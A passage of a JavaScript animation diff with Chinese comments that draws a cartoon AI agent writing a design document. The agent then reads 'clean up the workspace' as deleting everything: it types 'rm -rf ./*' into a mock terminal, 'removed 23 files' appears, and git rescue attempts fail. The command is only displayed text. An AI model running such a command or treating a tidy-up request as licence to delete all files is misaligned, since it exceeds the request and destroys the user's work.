*/ + var SHELL_DROP = 14; /* 碎裂空壳原地定住后的下坠距离(px,与淡出同 tween;空壳已脱离慢滚动,transform 自写) */ + var PAPER_TILT = { rx: 42, rz: -7, ty: 0 }; /* 与 03 同款倾斜角 */ + var PAPER_FLAT = { rx: 0, rz: 0, ty: -12 }; + var LINE_W = [44, 58, 38, 52]; /* 纸面 4 行目标宽度(%) */ + var AGENT_HOME = { x: 400, y: 86 }; /* 纸上悬浮工作位(视觉中心 x435 / 脚 y145;与纸面间距 44.5 同 03) */ + var AGENT_GROUND_Y = 255; /* 地面站姿:六边形视觉底(盒高 84.6% 处 = y+59)贴地面线 314 */ + var AGENT_TERM_X = 430; /* 终端阶段站位(视觉中心 x465) */ + var HAND_DX = 46, HAND_DY = 58;/* 持笔笔尖相对 agent 左上的偏移(靠下靠左) */ + var PEN_NIB_DX = 4.4, PEN_NIB_DY = 35; /* 笔尖相对笔外层的偏移 */ + var PEN_FLOOR_Y = 294; /* 笔落地时外层 y(笔身中心贴地 314) */ + var PEN_FLAT_ROT = 44.5; /* 笔身平躺角(SVG 笔身 45° 斜,转 44.5° 后水平躺地) */ + var BOOTH_X = 46, BOOTH_Y = 137; /* 时光机落地位(左上);体底恰在地面 318 */ + var BOOTH_FLY_Y = -380; /* 藏在舞台上方 */ + var BOOTH_FLOAT_DY = -46; /* 浮空抬升 */ + + + /* 七条用户指令全文:以气泡在右上角堆叠(风格同 01 的用户气泡) */ + var NODES = [ + { full: '帮我写一份官网设计稿' }, + { full: '把配色方案那节补充完整' }, + { full: '再补一版深色模式的设计' }, + { full: '把字体层级再调细一点' }, + { full: '清理一下工作区吧' }, + { full: '我让你整理工作区,不是让你全删了!' }, + { full: '你个吃白饭的蓝色大肥鱼!' } + ]; + var SLEEPY = [0.8, 0.62, 0.45, 0.32]; /* 每写完一条的困倦程度(眼睛高度比例) */ + var CMD = 'rm -rf ./*'; /* 把「清理工作区」理解成删光工作区所有文件 */ + var CMD_OUT = 'removed 23 files'; + /* 抢救段:甩笔后他先试图用 git 把工作区救回来——两条指令都报「文件没被追踪」 */ + var RESCUE_1 = 'git restore ./'; + var RESCUE_2 = 'git checkout ./'; + var RESCUE_ERR = 'not tracked by git'; /* 与 removed 23 files 同为裸输出文本 */ + + function init(container) { + container.innerHTML = + '
' + + '
' + + '
' + + '
' + + '
' + + '
' + + '
' + + '
' + + '
' + + '
' + + '
' + + '
' + + '
' + + '
' + + '
>
' + + '
' + CMD_OUT + '
' + + '
>
' + + '
' + + '
' + + '
' + + '
' + + '
' + + '' + + '
' + + '
' + + /* 整机 2D 矢量化:所有面手算透视投影后屏幕空间绘制(根治 3D 面片纹理重采样锯齿)。 + 三层:后层 svg z1(左外墙 + clip 到门洞投影的内景四面)< 智能体挂载层 z2 + < 前层 svg z3(门槛/双梃/双开门/屋顶/尖顶)——关门门板即挡住他,同原前后壳语义 */ + '' + + '
' + + '' + + '
' + + '
' + + '
'; + + /* 元素查找一律限定在自身容器内:主页上 03/04 动画同页共存,03 也有 + id="paper" / id="penPos",document.getElementById 会按文档序抓到 03 的元素, + 导致笔位写错对象、is-term 加错纸(终端段整段不可见)。容器内查找对此类碰撞免疫。 */ + function byId(id) { return container.querySelector('#' + id); } + + var stage = byId('anim4Stage'); + var bubblesEl = byId('bubbles'); + var paper = byId('paper'); + var term = byId('term'); + var termBody = byId('termBody'); + var termCmd = byId('termCmd'); + var termCaret = byId('termCaret'); + var termOut = byId('termOut'); + var termNew = byId('termNew'); + var agentEl = byId('agent'); + var penPos = byId('penPos'); + var pen = byId('pen'); + var booth = byId('booth'); + var boothInner = byId('boothInner'); + var boothShadow = byId('boothShadow'); + var agentShadow = byId('agentShadow'); + /* 时光机 2D 覆盖层元素 */ + var bwDoorClipPoly = byId('bwDoorClipPoly'); + var bwSideL = byId('bwSideL'); + var bwInBack = byId('bwInBack'); + var bwInSideR = byId('bwInSideR'); + var bwInCeil = byId('bwInCeil'); + var bwInFloor = byId('bwInFloor'); + var bwThreshold = byId('bwThreshold'); + var bwJambL = byId('bwJambL'); + var bwJambR = byId('bwJambR'); + var bwSlopeL = byId('bwSlopeL'); + var bwSlopeF = byId('bwSlopeF'); + var bwRod = byId('bwRod'); + var bwKnob = byId('bwKnob'); + /* 门板元素组:面 polygon + 5 条横纹 + 把手(SVG 元素必须 createElementNS 创建) */ + function doorElsBuild(gid, pid) { + var g = byId(gid); + var o = { plate: byId(pid), stripes: [], knob: null }; + var NS = 'http://www.w3.org/2000/svg'; + for (var i = 0; i < 5; i++) { + var ln = document.createElementNS(NS, 'line'); + ln.setAttribute('class', 'bw-door-stripe'); + g.appendChild(ln); + o.stripes.push(ln); + } + var k = document.createElementNS(NS, 'circle'); + k.setAttribute('class', 'bw-door-knob'); + k.setAttribute('r', '1.7'); + g.appendChild(k); + o.knob = k; + return o; + } + var doorElsL = doorElsBuild('bwDoorL', 'bwDoorLp'); + var doorElsR = doorElsBuild('bwDoorR', 'bwDoorRp'); + var lines = Array.prototype.slice.call(stage.querySelectorAll('.anim4-pl')); + + /* ── 时光机 2D 矢量化投影系统(整机根治 3D 面片纹理重采样锯齿) ── + 所有面 = 体心局部坐标(x 右、y 下、z 朝观众)的矩形平面,每帧按偏航 rotateY(24°+sway) + 手算投影(等价原 scene 的 perspective:760、原点 booth 中心 75,110),屏幕空间 SVG 画—— + 原生抗锯齿永远锐利,摆动时逐帧一致。 + 体:96×96×142 正方形柱(x/z ±48,y ±71);正面左右梃各 18 + 门洞 60;视角露正面+左侧面。 + 屋顶四棱锥底 108×108(±54)锥高 28,锥底在体顶面 y=-72。内景四面内缩 1px 防共面。 */ + var PERSP = 760, BCX = 75, BCY = 110; + var DOOR_ANG = 140; /* 双开门全开角(铰链 x=∓30 竖轴,向观众外翻) */ + var DOOR_STRIPE_Y = [-58, -30, -2, 26, 54]; /* 门板横纹高度(原 repeating-gradient 13+28k 的全局 y) */ + var WIRE_PTS = { + FL: [-54, -72, 54], FR: [54, -72, 54], /* 锥底前左/前右(挑出体身 6px) */ + BL: [-54, -72, -54], /* 锥底后左(后右不可见不画) */ + AP: [0, -100, 0], /* 锥顶(锥高 28) */ + RT: [0, -108, 0], RB: [0, -100.5, 0], /* 尖顶短杆顶/底(底略高于锥顶防接缝) */ + KB: [0, -113.5, 0] /* 小球中心 */ + }; + function projectWirePt(p, yaw) { + var c = Math.cos(yaw), s = Math.sin(yaw); + var x = p[0] * c + p[2] * s; /* CSS rotateY(θ):x' = x·cosθ + z·sinθ */ + var z = -p[0] * s + p[2] * c; /* z' = -x·sinθ + z·cosθ */ + var k = PERSP / (PERSP - z); + return [BCX + x * k, BCY + p[1] * k, z]; + } + function wirePtsAttr() { + var out = []; + for (var i = 0; i < arguments.length; i++) out.push(arguments[i][0].toFixed(1) + ',' + arguments[i][1].toFixed(1)); + return out.join(' '); + } + var doorA = 0; + /* 门板角度变化即时重投影(doorTween 驱动) */ + function doorSet(a) { doorA = a; drawBooth(); } + function doorTween(target, ms) { + var from = doorA; + return tween(ms, function (p) { + doorA = lerp(from, target, easeInOut(p)); + doorSet(doorA); + }); + } + function drawBooth() { + var yaw = (24 + boothState.sway) * Math.PI / 180; + function P(p) { return projectWirePt(p, yaw); } + function quad(el, a, b, c, d) { el.setAttribute('points', wirePtsAttr(P(a), P(b), P(c), P(d))); } + /* 门板:铰链竖边 (hx,∓71,48) → 外缘竖边 (hx+30·dirX, ∓71, 48+30·dirZ);横纹/把手随门板翻转 */ + function drawDoor(d, hx, dirX, dirZ) { + var ex = 30 * dirX, ez = 30 * dirZ; + quad(d.plate, [hx, -71, 48], [hx + ex, -71, 48 + ez], [hx + ex, 71, 48 + ez], [hx, 71, 48]); + for (var i = 0; i < DOOR_STRIPE_Y.length; i++) { + var y = DOOR_STRIPE_Y[i]; + var p1 = P([hx, y, 48]), p2 = P([hx + ex, y, 48 + ez]); + var ln = d.stripes[i]; + ln.setAttribute('x1', p1[0].toFixed(1)); ln.setAttribute('y1', p1[1].toFixed(1)); + ln.setAttribute('x2', p2[0].toFixed(1)); ln.setAttribute('y2', p2[1].toFixed(1)); + } + var kp = P([hx + 27.5 / 30 * ex, -3, 48 + 27.5 / 30 * ez]); /* 把手:靠中缝侧,y=-3 */ + d.knob.setAttribute('cx', kp[0].toFixed(1)); + d.knob.setAttribute('cy', kp[1].toFixed(1)); + } + /* 门洞投影 → 内景 clipPath(跟随摆动逐帧一致:只有透过门洞可见的内景被画出) */ + bwDoorClipPoly.setAttribute('points', wirePtsAttr(P([-30, -71, 48]), P([30, -71, 48]), P([30, 71, 48]), P([-30, 71, 48]))); + /* 后层:内景四面(clip 内全幅画)+ 左外墙 */ + quad(bwInBack, [-48, -70, -47], [48, -70, -47], [48, 70, -47], [-48, 70, -47]); + quad(bwInSideR, [47, -70, -47], [47, -70, 48], [47, 70, 48], [47, 70, -47]); + quad(bwInCeil, [-48, -70, -47], [48, -70, -47], [48, -70, 48], [-48, -70, 48]); + quad(bwInFloor, [-48, 70, -47], [48, 70, -47], [48, 70, 48], [-48, 70, 48]); + quad(bwSideL, [-48, -71, -48], [-48, -71, 48], [-48, 71, 48], [-48, 71, -48]); + /* 前层:门槛 / 左右梃(开门后走进深处的他被左梃自然遮挡) */ + quad(bwThreshold, [-30, 70, 40.5], [30, 70, 40.5], [30, 70, 47.5], [-30, 70, 47.5]); + quad(bwJambL, [-48, -71, 48], [-30, -71, 48], [-30, 71, 48], [-48, 71, 48]); + quad(bwJambR, [30, -71, 48], [48, -71, 48], [48, 71, 48], [30, 71, 48]); + /* 双开门:外翻 140°·doorA(左门外缘 +cosφ,右门镜像 -cosφ,z 均 +sinφ) */ + var phi = DOOR_ANG * doorA * Math.PI / 180; + var cp = Math.cos(phi), sp = Math.sin(phi); + drawDoor(doorElsL, -30, cp, sp); + drawDoor(doorElsR, 30, -cp, sp); + /* 屋顶两坡:画家算法(SVG 无 z-buffer),平均深度远先画;尖顶恒最上 */ + var FL = P(WIRE_PTS.FL), FR = P(WIRE_PTS.FR), BL = P(WIRE_PTS.BL), AP = P(WIRE_PTS.AP); + bwSlopeF.setAttribute('points', wirePtsAttr(FL, FR, AP)); + bwSlopeL.setAttribute('points', wirePtsAttr(BL, FL, AP)); + var fDepth = (FL[2] + FR[2] + AP[2]) / 3, lDepth = (BL[2] + FL[2] + AP[2]) / 3; + var front = bwSlopeF.parentNode; + if (fDepth >= lDepth) { front.appendChild(bwSlopeL); front.appendChild(bwSlopeF); } + else { front.appendChild(bwSlopeF); front.appendChild(bwSlopeL); } + front.appendChild(bwRod); + front.appendChild(bwKnob); + /* 尖顶:短杆 + 小球(竖杆 + 正圆天然 billboard) */ + var RT = P(WIRE_PTS.RT), RB = P(WIRE_PTS.RB), KB = P(WIRE_PTS.KB); + bwRod.setAttribute('x1', RT[0].toFixed(1)); bwRod.setAttribute('y1', RT[1].toFixed(1)); + bwRod.setAttribute('x2', RB[0].toFixed(1)); bwRod.setAttribute('y2', RB[1].toFixed(1)); + bwKnob.setAttribute('cx', KB[0].toFixed(1)); bwKnob.setAttribute('cy', KB[1].toFixed(1)); + } + /* 门洞标定:投影公式直接算(落地静止态 sway=0),对齐智能体挂载层; + 比旧的 doorRef 实测更准——与门板/梃共用同一公式,必然严丝合缝 */ + var doorGeom = null; /* { cxStage } */ + function calibrateInner() { + var yaw = 24 * Math.PI / 180; + var tl = projectWirePt([-30, -71, 48], yaw); + var br = projectWirePt([30, 71, 48], yaw); + boothInner.style.left = tl[0].toFixed(1) + 'px'; + boothInner.style.top = tl[1].toFixed(1) + 'px'; + boothInner.style.width = (br[0] - tl[0]).toFixed(1) + 'px'; + boothInner.style.height = (br[1] - tl[1]).toFixed(1) + 'px'; + doorGeom = { cxStage: BOOTH_X + (tl[0] + br[0]) / 2 }; + } + + /* 智能体眼睛:不做鼠标追踪,全程由动画驱动(看笔尖/闭眼/瞪眼) */ + var eyes = null; + if (window.AstrionAvatar) { + var avatarSvg = AstrionAvatar.mount(byId('agentAvatar'), { mode: 'idle', blink: false, track: false }); + eyes = AstrionAvatar.handle(avatarSvg); + } + var EYE_IDLE = window.AstrionAvatar ? window.AstrionAvatar.EYE_IDLE : null; + var curEyePath = EYE_IDLE; /* 当前眼睛形状目标(眨眼回落用) */ + function morphEyes(nums, ms) { + if (!eyes) return; + curEyePath = nums; + eyes.morphEyesTo(nums, ms); + } + + /* 等比缩放(同 03):视口 rect 读数统一除 curScale 换回舞台本地坐标 */ + var curScale = 1; + function updateScale() { + var w = container.clientWidth, h = container.clientHeight; + curScale = Math.min(w / LOGICAL_W, h / LOGICAL_H) || 1; + stage.style.top = 'calc(50% + ' + ((LOGICAL_H / 2 - CONTENT_CY) * curScale).toFixed(1) + 'px)'; + stage.style.transform = 'translate(-50%, -50%) scale(' + curScale + ')'; + } + if (window.ResizeObserver) new ResizeObserver(updateScale).observe(container); + window.addEventListener('resize', updateScale); + + function stageRect() { return stage.getBoundingClientRect(); } + function toLocalX(clientX, sr) { return (clientX - sr.left) / curScale; } + function toLocalY(clientY, sr) { return (clientY - sr.top) / curScale; } + + /* ── rAF 可见时间计时(后台冻结,恢复不跳变) ── */ + function rafWait(ms) { + return new Promise(function (resolve) { + var acc = 0, last = performance.now(); + function tick(now) { + acc += Math.min(now - last, 100); + last = now; + if (acc >= ms) { resolve(); return; } + requestAnimationFrame(tick); + } + requestAnimationFrame(tick); + }); + } + function tween(ms, fn) { + return new Promise(function (resolve) { + var acc = 0, last = performance.now(); + function tick(now) { + acc += Math.min(now - last, 100); + last = now; + var p = Math.min(acc / ms, 1); + fn(p, acc); + if (p >= 1) { resolve(); return; } + requestAnimationFrame(tick); + } + requestAnimationFrame(tick); + }); + } + function easeOut(p) { return 1 - (1 - p) * (1 - p); } + function easeIn(p) { return p * p; } + function easeInOut(p) { return p < 0.5 ? 2 * p * p : 1 - 2 * (1 - p) * (1 - p); } + function clamp01(v) { return Math.max(0, Math.min(1, v)); } + function lerp(a, b, t) { return a + (b - a) * t; } + + /* ── 用户指令气泡(右上角堆叠) ── */ + /* 新指令气泡从下面浮现,旧的上移、跑出可视区(overflow 裁切 + 顶部渐隐遮罩边缘虚化)—— + 不销毁:倒带时下方两条逐字碎裂、空壳原地定住淡出,上方气泡随堆叠自然回落可视区。 + 进出场均用 JS tween 驱动 margin/transform(rAF 可见时间,后台冻结恢复不跳变)—— + margin 动画自然推拉其余气泡,无需 FLIP;绝不 tween height(border-box 钳位致瞬移)。 */ + var bubbleEls = []; + /* 按指令序号找气泡:数组在 shatter 时 splice,绝不能用绝对序号当下标 */ + function bubbleOf(ni) { + for (var i = 0; i < bubbleEls.length; i++) if (bubbleEls[i]._ni === ni) return bubbleEls[i]; + return null; + } + function bubbleArrive(k) { + var b = document.createElement('div'); + b.className = 'anim4-bubble'; + b.textContent = NODES[k].full; + b._ni = k; + /* 纯挤压入场:margin-top 从 -hTarget → +GAP 推占位(顶上面), + translateY 从 hTarget+2 → 0 让本体从容器底缘下实体滑入(挤上来)——全程不透明,无淡入。 + 绝不 tween height——box-sizing:border-box 下 height 小于上下 padding 之和(12px)时 + 被钳位在 12px,前 ~45% 的写入高度实际纹丝不动,首个有效帧旧气泡就被瞬推 12px(瞬移感)。 + 先以 -999px 挂账入场(同步代码内立即修正,不会被绘制),实测全高后精确抵消。 */ + b.style.cssText = 'margin-top:-999px;transform:translateY(999px);'; + bubblesEl.appendChild(b); + bubbleEls.push(b); + var hTarget = b.getBoundingClientRect().height / curScale; /* 自然全高(gBCR 除 curScale 换回舞台本地坐标) */ + var y0 = hTarget + 2; /* 起始藏在容器底缘之下(+2 防边缘露馅) */ + b.style.marginTop = (-hTarget).toFixed(1) + 'px'; /* 抵消自身占位:此时旧气泡零位移 */ + b.style.transform = 'translateY(' + y0.toFixed(1) + 'px)'; + return tween(420, function (p) { + var e = easeInOut(p); /* 零速起步,首帧 dt 偏大也不会「踹」旧气泡 */ + b.style.marginTop = lerp(-hTarget, BUBBLE_GAP, e).toFixed(1) + 'px'; + b.style.transform = 'translateY(' + (y0 * (1 - e)).toFixed(1) + 'px)'; + }).then(function () { + b.style.cssText = ''; /* 入场结束交还类样式(margin-top 由 .anim4-bubble 管,同为 6px 无跳变) */ + }); + } + + /* 气泡湮灭碎裂(机制参考沙箱撞盾:Range 逐字实测 → 逐字碎片 span → 重力/自旋/淡出); + 参数为「被时间抹掉」的散裂:从字块中心向外散开 + 轻微上飘,不是向左爆开。 + 文字碎飞后空壳原地定住、边下坠边淡出(冻精确宽高、脱离慢滚动、不缩占位),回溯收尾才统一移除。 */ + function shatterBubble(b, syNow) { + if (!b || !b.firstChild) return; + var ai = bubbleEls.indexOf(b); + if (ai >= 0) bubbleEls.splice(ai, 1); + var text = b.textContent; + var stageR = stage.getBoundingClientRect(); + /* 逐字实测(Range 天然处理中文宽度;多行气泡每字各得其框) */ + var tn = b.firstChild; + var range = document.createRange(); + var rects = []; + for (var i = 0; i < tn.length; i++) { + range.setStart(tn, i); + range.setEnd(tn, i + 1); + rects.push(range.getBoundingClientRect()); + } + range.detach(); + /* 冻结精确宽度+全高(小数,防 0.2px 瞬塌)再清空文字:空壳尺寸纹丝不动—— + 宽度必须一并冻结,气泡宽自适应内容,清空文字会瞬间塌成 padding 宽(22px)。 + 然后下坠+淡出——不缩占位,占位由整段慢滚动统一消化,回溯收尾才移除。 */ + var fr = b.getBoundingClientRect(); + b.style.width = (fr.width / curScale).toFixed(1) + 'px'; + b.style.height = (fr.height / curScale).toFixed(1) + 'px'; + b.textContent = ''; + shatteredShells.push(b); + /* 空壳脱离慢滚动队伍(_detached),定格在碎裂位置(sy0)原地「定住湮灭」: + 边淡出边下坠,淡出全程在视野内——若继续随队滚动,空壳会被容器底缘 + overflow 硬裁切拖出视野,淡出看不见(只剩「向下退出显示范围」)。 */ + b._detached = true; + var sy0 = syNow; + tween(380, function (p) { + var e = easeInOut(p); + b.style.opacity = (1 - e).toFixed(2); + b.style.filter = 'blur(' + (2 * e).toFixed(1) + 'px)'; + b.style.transform = 'translateY(' + (sy0 + SHELL_DROP * e).toFixed(1) + 'px)'; + }); + var tagCX = 0, tagCY = 0; + for (var i = 0; i < rects.length; i++) { tagCX += rects[i].left + rects[i].width / 2; tagCY += rects[i].top + rects[i].height / 2; } + tagCX /= rects.length; tagCY /= rects.length; + var baseRot = 0; + var shards = []; + for (var i = 0; i < text.length; i++) { + var s = document.createElement('span'); + s.className = 'anim4-shard'; + s.textContent = text[i] === ' ' ? '\u00A0' : text[i]; + stage.appendChild(s); + /* gBCR 视口读数除 curScale 换回舞台本地坐标(主页缩放时碎片不再错位) */ + var x0 = (rects[i].left - stageR.left) / curScale, y0 = (rects[i].top - stageR.top) / curScale; + var ccx = rects[i].left + rects[i].width / 2, ccy = rects[i].top + rects[i].height / 2; + var ang = Math.atan2(ccy - tagCY, ccx - tagCX); + var spd = 26 + Math.random() * 90; + s.style.transform = 'translate(' + x0.toFixed(1) + 'px,' + y0.toFixed(1) + 'px) rotate(' + baseRot.toFixed(1) + 'deg)'; + shards.push({ + el: s, x: x0, y: y0, + vx: Math.cos(ang) * spd + (Math.random() - 0.5) * 60, + vy: Math.sin(ang) * spd - (30 + Math.random() * 90), /* 略带上飘的湮灭感 */ + rot: baseRot, vr: (Math.random() - 0.5) * 720, + life: 0, ttl: 0.8 + Math.random() * 0.45 + }); + } + var g = 720, last = performance.now(); + (function shardLoop() { + var now = performance.now(); + var dt = Math.min((now - last) / 1000, 0.05); + last = now; + var alive = false; + for (var i = 0; i < shards.length; i++) { + var p = shards[i]; + if (p.life >= p.ttl) continue; + alive = true; + p.life += dt; + p.x += p.vx * dt; + p.y += p.vy * dt; + p.vy += g * dt; + p.rot += p.vr * dt; + var fade = 1 - Math.max(0, (p.life - p.ttl * 0.45) / (p.ttl * 0.55)); + p.el.style.transform = 'translate(' + p.x.toFixed(1) + 'px,' + p.y.toFixed(1) + 'px) rotate(' + p.rot.toFixed(0) + 'deg)'; + p.el.style.opacity = Math.max(0, fade).toFixed(2); + if (p.life >= p.ttl && p.el.parentNode) p.el.parentNode.removeChild(p.el); + } + if (alive) requestAnimationFrame(shardLoop); + })(); + } + + /* ── 纸 / 终端 morph ── */ + function setPaperTransform(rx, rz, ty) { + paper.style.transform = + 'perspective(760px) rotateX(' + rx.toFixed(2) + 'deg) rotateZ(' + rz.toFixed(2) + 'deg)' + + (ty ? ' translateY(' + ty.toFixed(1) + 'px)' : ''); + } + function paperMorphTo(target, ms) { + var cur = paper._pose || PAPER_TILT; + return tween(ms, function (p) { + var e = easeInOut(p); + var pose = { + rx: lerp(cur.rx, target.rx, e), + rz: lerp(cur.rz, target.rz, e), + ty: lerp(cur.ty, target.ty, e) + }; + paper._pose = pose; + setPaperTransform(pose.rx, pose.rz, pose.ty); + }); + } + + /* ── 笔 ── */ + var nibRef = byId('penNibRef4'); + var penTx = 0, penTy = 0; + function setPen(x, y) { + penTx = x; penTy = y; + penPos.style.transform = 'translate(' + x.toFixed(1) + 'px,' + y.toFixed(1) + 'px)'; + } + /* 参考点精确移到舞台坐标:实测当前位置做差值补偿(同 03) */ + function nibTo(x, y, sr) { + var r = nibRef.getBoundingClientRect(); + var cx = toLocalX(r.left + r.width / 2, sr); + var cy = toLocalY(r.top + r.height / 2, sr); + setPen(penTx + (x - cx), penTy + (y - cy)); + } + function lineTipLocal(line, sr) { + var r = line.querySelector('.anim4-pl-end').getBoundingClientRect(); + return { x: toLocalX(r.left, sr), y: toLocalY(r.top, sr) }; + } + /* 笔在手上(transition 飞行到手持位) */ + function penToHand() { + penPos.classList.remove('is-live'); + nibTo(agent.x + HAND_DX, agent.y + HAND_DY, stageRect()); + } + /* 携带状态:笔钉在手上(逐帧同步,供 walk/hop 帧里调用)—— + 必须加 is-live 关过渡!否则每帧 setPen 都触发 0.45s 过渡,笔会一直滞后漂移(看起来像自己飞过去) */ + function penCarried() { + penPos.classList.add('is-live'); + setPen(agent.x + HAND_DX - PEN_NIB_DX, agent.y + HAND_DY - PEN_NIB_DY); + } + + /* ── 智能体 ── */ + var agent = { x: AGENT_HOME.x, y: AGENT_HOME.y, rot: 0, sx: 1, sy: 1, op: 1 }; + function setAgent() { + agentEl.style.transform = + 'translate(' + agent.x.toFixed(1) + 'px,' + agent.y.toFixed(1) + 'px)' + + ' rotate(' + agent.rot.toFixed(2) + 'deg)' + + ' scale(' + agent.sx.toFixed(3) + ',' + agent.sy.toFixed(3) + ')'; + agentEl.style.opacity = agent.op.toFixed(2); + /* 地面阴影只在地面上出现,跟随 x */ + var onGround = agent.y > AGENT_GROUND_Y - 12 && agentEl.parentNode === stage; + agentShadow.style.opacity = onGround ? '0.3' : '0'; + if (onGround) { + agentShadow.style.left = (agent.x + 35 - 28) + 'px'; + agentShadow.style.top = '309px'; + } + } + /* 重挂载(舞台 ↔ 亭内景层)且保持屏幕视觉位置不变: + 两边都是纯 2D,getBoundingClientRect 实测中心对齐即可(无透视无旋转) */ + function reparentKeepVisual(newParent) { + var r = agentEl.getBoundingClientRect(); + var cx = r.left + r.width / 2, cy = r.top + r.height / 2; + newParent.appendChild(agentEl); + var pr = newParent.getBoundingClientRect(); + agent.x = (cx - pr.left) / curScale - 35; + agent.y = (cy - pr.top) / curScale - 35; + /* 保留 sx/sy:进出亭时的纵深缩放(0.94)不能在换层时丢,否则会跳变 */ + setAgent(); + } + /* 团子步:左右摇摆 + 低幅弹跳;carryPen 时笔钉在手上。 + 步频随距离(恒定步幅 ≈65px/步,用进度 p 驱动而非时间)——步子与位移同步, + 快走/短走都是完整迈步,不会出现「位移快、摆得慢」的平移滑行感 */ + function walkTo(xTarget, ms, carryPen) { + var x0 = agent.x, dir = xTarget > x0 ? 1 : -1; + var cycles = Math.max(2, Math.round(Math.abs(xTarget - x0) / 65)); /* 整数步:落地时恰好回正 */ + if (eyes) eyes.lookAt(dir * 4, 1.5); + return tween(ms, function (p, acc) { + var e = easeInOut(p); + agent.x = lerp(x0, xTarget, e); + var wob = e * Math.PI * 2 * cycles; + agent.rot = Math.sin(wob) * 7; + agent.y = AGENT_GROUND_Y - Math.abs(Math.sin(wob)) * 3.5; + setAgent(); + if (carryPen) penCarried(); + }).then(function () { + agent.x = xTarget; agent.y = AGENT_GROUND_Y; agent.rot = 0; + setAgent(); + if (carryPen) penCarried(); + }); + } + /* 跳:下蹲蓄势(慢)→ 起跳瞬间释放、向上拉伸(加速曲线)→ 线性时间抛物线(起跳快/到顶慢/落地快)→ 落地挤压回弹 */ + function hopTo(xTarget, yTarget, jumpH, ms, carryPen) { + var x0 = agent.x, y0 = agent.y; + return tween(140, function (p) { /* 下蹲蓄势 */ + var k = easeInOut(p); + agent.sx = 1 + 0.12 * k; + agent.sy = 1 - 0.18 * k; + agent.y = y0 + 15 * k; /* 脚下沉补偿:脚贴地 */ + setAgent(); + if (carryPen) penCarried(); + }).then(function () { + return tween(ms, function (p) { + var e = easeInOut(p); + agent.x = lerp(x0, xTarget, e); + agent.y = lerp(y0 + 15, yTarget, e) - jumpH * 4 * p * (1 - p); + /* 起跳拉伸(0→18% 从下蹲弹到拉长)→ 空中恢复(18%→45%) */ + var sy; + if (p < 0.18) { sy = 0.82 + 0.34 * easeOut(p / 0.18); } + else if (p < 0.45) { sy = 1.16 - 0.16 * easeInOut((p - 0.18) / 0.27); } + else sy = 1; + agent.sy = sy; + agent.sx = 1 - (sy - 1) * 0.7; /* 面积守恒 */ + setAgent(); + if (carryPen) penCarried(); + }); + }).then(function () { + return tween(200, function (p) { /* 落地挤压回弹 */ + var k = Math.sin(p * Math.PI); + agent.sy = 1 - 0.14 * k; + agent.sx = 1 + 0.1 * k; + setAgent(); + if (carryPen) penCarried(); + }); + }).then(function () { + agent.x = xTarget; agent.y = yTarget; agent.sx = 1; agent.sy = 1; + setAgent(); + if (carryPen) penCarried(); + }); + } + + /* ── 时光机整体运动(下落/浮空/微倾/透明度 + 接触阴影) ── */ + var boothState = { dy: BOOTH_FLY_Y, rot: 0, op: 0, sway: 0 }; + function setBooth() { + booth.style.transform = + 'translate(' + BOOTH_X + 'px,' + (BOOTH_Y + boothState.dy).toFixed(1) + 'px)' + + ' rotate(' + boothState.rot.toFixed(2) + 'deg)'; + booth.style.opacity = boothState.op.toFixed(2); + /* 落地越深影子越实 */ + var h = clamp01(1 - Math.abs(boothState.dy) / 120); + boothShadow.style.opacity = (0.45 * h * boothState.op).toFixed(2); + var s = 0.55 + 0.45 * h; + boothShadow.style.transform = 'scale(' + s.toFixed(2) + ',1)'; + drawBooth(); + } + + + + /* ── 眨眼调度(仅第 1~2 幕;惊吓后由分镜接管) ── */ + var blinksOn = false; + async function blinkLoop() { + while (blinksOn) { + await rafWait(1900 + Math.random() * 1800); + if (!blinksOn || !eyes) return; + eyes.morphEyesTo(window.AstrionAvatar.EYE_BLINK, 85); + await rafWait(100); + if (!blinksOn || !eyes) return; + eyes.morphEyesTo(curEyePath, 140); + } + } + + /* 写字时眼睛跟随笔尖(每帧调用) */ + function eyesFollowPen() { + if (!eyes) return; + var r = nibRef.getBoundingClientRect(); + eyes.lookAtPoint(r.left + r.width / 2, r.top + r.height / 2); + } + + /* ── 第一幕:写一行 ── */ + async function writeLine(k) { + var line = lines[k]; + var sr = stageRect(); + /* 飞到行首 */ + var lr = line.getBoundingClientRect(); + penPos.classList.remove('is-live'); + nibTo(toLocalX(lr.left, sr), toLocalY(lr.top + lr.height / 2, sr), sr); + await tween(430, function () { eyesFollowPen(); }); /* 笔飞过去时眼睛就追着笔,不是到位后才看 */ + /* 逐帧写:线从行首长到目标宽,笔尖跟右端,眼睛跟笔尖; + 摇晃由 JS 驱动:振幅包络起止都收敛到 0°,杜绝 CSS 动画接入/断开时的瞬变 */ + penPos.classList.add('is-live'); + var W = LINE_W[k]; + await tween(720, function (p) { + line.style.width = (W * easeOut(p)) + '%'; + var sr2 = stageRect(); + var tip = lineTipLocal(line, sr2); + nibTo(tip.x, tip.y, sr2); + eyesFollowPen(); + var env = Math.sin(Math.min(p / 0.18, 1) * Math.PI * 0.5) * + Math.sin(Math.min((1 - p) / 0.18, 1) * Math.PI * 0.5); + pen.style.transform = 'rotate(' + (Math.sin(p * Math.PI * 2 * 1.7) * 6 * env).toFixed(1) + 'deg)'; + }); + pen.style.transform = 'rotate(0deg)'; + } + + /* ── 第二幕:终端打字(笔持在手上不动,字符逐字出现,眼睛看光标) ── */ + var typedChars = []; + async function typeCommand() { + for (var i = 0; i < CMD.length; i++) { + var c = document.createElement('span'); + c.textContent = CMD[i]; + termCmd.appendChild(c); + typedChars.push(c); + if (eyes) { + var cr = termCaret.getBoundingClientRect(); + eyes.lookAtPoint(cr.left, cr.top + cr.height / 2); + } + await rafWait(58); + } + } + + /* ── 抢救段工具:动态终端行 + 逐字敲入 + 行多上滚(倒带时全部抹除) ── */ + var rescueUnits = []; /* 抢救段产生的一切(字符+整行),按创建顺序,倒带时逆序逐一消失 */ + var shatteredShells = []; /* 倒带时碎裂气泡的空壳:原地淡出不缩占位,回溯收尾统一移除 */ + var termShift = 0; + /* 追加一行终端行(追加即显示,挂进 termBody),行数超出内容区时 termBody 整体上滚(真实终端行为) */ + function addTermLine(cls, html) { + var d = document.createElement('div'); + d.className = cls; + d.innerHTML = html; + termBody.appendChild(d); + rescueUnits.push(d); + var need = Math.max(0, termBody.querySelectorAll('.anim4-term-line').length * 21 - 90); /* 行高21 = 12px×1.75;90 = 纸高122 - 上下padding 32 */ + if (need !== termShift) { + termShift = need; + termBody.style.transform = 'translateY(' + (-need) + 'px)'; + } + return d; + } + /* 往提示符行里逐字敲(字符进内容 span:行是 flex,字符直接做 flex item 会吃掉空格;眼睛跟光标走) */ + async function typeIntoLine(lineEl, text, perChar) { + var caret = 